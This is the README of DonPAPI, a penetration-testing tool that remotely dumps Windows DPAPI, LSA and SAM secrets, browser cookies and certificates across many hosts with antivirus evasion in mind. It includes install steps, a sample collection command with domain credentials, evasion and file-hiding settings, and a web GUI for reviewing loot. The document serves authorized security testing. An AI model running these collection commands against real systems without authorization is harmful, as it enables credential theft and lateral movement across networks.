Dumping DPAPI credz remotely
DonPAPI automates regsecrets (or secretsdump) remotely on multiple Windows computers, with defense evasion in mind.
Collected credentials:
We made a talk in french about DPAPI called **DPAPI - Don't Put Administration Passwords In **:
This tool should be install with pipx or in a dedicated virtual environment
pipx install donpapior (with latest commits)
pipx install git+https://github.com/login-securite/DonPAPI.gitor (to dev)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPIpipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi guiusage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/This action is used to collect secrets on the targets specified in -t.
…Authentication works by specifying a domain with --domain, an username with --username, and eventually a password with --password, a hash with --hashes, an AES key with --aesKey or a Kerberos ticket in ccache format with -k (Impacket style).
You can also authenticate through LAPS on the computer with --laps and the username of the local LAPS account as the value for this parameter.
By default, DonPAPI will collect:
You can specify each one you want to collect with --collectors (SharpHound style). If you use --fetch-pvk, DonPAPI will automatically fetch the Domain Backup Key of the AD domain and use it to decrypt masterkeys. Otherwise, you can bring one with --pvkfile. --pwdfile, --ntfile are used to feed DonPAPI with secrets in order to unlock masterkeys. But if you have freshly decrypted masterkeys, you can use --mkfile.
[!WARNING] Some collection method will need to dump LSA secrets (in order to obtain the DPAPI machine key). This action can be noizy, and modern EDR will block you instantly. You can use
-nrto avoid doing those noisy actions, but some secrets won't be collected.
DonPAPI now supports a configuration file in order to pimp Secretsdump behaviour. This file will be located at ~/.donpapi/donpapi.conf, and by default, it will looks like this:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .logDonPAPI supports recover file. Each time you will run a collect command, it will save a recover file of the remaining targets and all the options. By default, the file is located in ~/.donpapi/register/ folder
Sometimes on an internal assessment, you want to go hard on some specific targets and collecting secrets on their computer again and again. Don't do a stupid bash loop, just use --keep-collecting X, X being the seconds you want to wait between each collecting sessions.
Now that you have collected all those secrets, you want to crawl them. DonPAPI allow you to go through all collected secrets with a web GUI. To launch it, use donpapi gui.
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic authGeneral
This screen will show you every SAM reused passwords accross all collected computers, dumped scheduled tasks and service account passwords dumped from LSA. You can export all of them as CSV format.
Secrets
This screen will show you every secrets looted with DonPAPI. You can search on multiple elements and exports secrets in CSV
Cookies
This screen will show you every cookies looted with DonPAPI. You can search on multiple elements and exports cookies in CSV, but also copy paste them into JavaScript code to paste it in your browser.
Certificates
This screen will show you every certificates looted with DonPAPI. You can search on multiple elements and exports certificates in CSV, but also if a certificate allow client auth, then clicking on Yes will copy paste a Certipy command to use the certificate.
This tool is for educational and ethical hacking purpose only. Login Sécurité is not responsible for the abuses committed with this tool.
The GUI frontend is developed in Vue3 + Vite.js, and the backend is Python Flask.
By default, it will be exposed at http://127.0.0.1:8088, but you can expose it the way you like, even at https://0.0.0.0:443.
[!WARNING] Please never expose DonPAPI to a whole network like this, it can be very dangerous. DonPAPI supports HTTPS with
--ssland you can add a Basic Auth with--basic-auth. And moreover, please never expose DonPAPI on the Internet like this.
Clicking on a value in the tables will instantly put it in your clipboard.
A Hide Password checkbox is available in the GUI, in order to hide sensitive data in the GUI, perfect for screenshots.
All the credits goes to these great guys for doing the hard research & coding :
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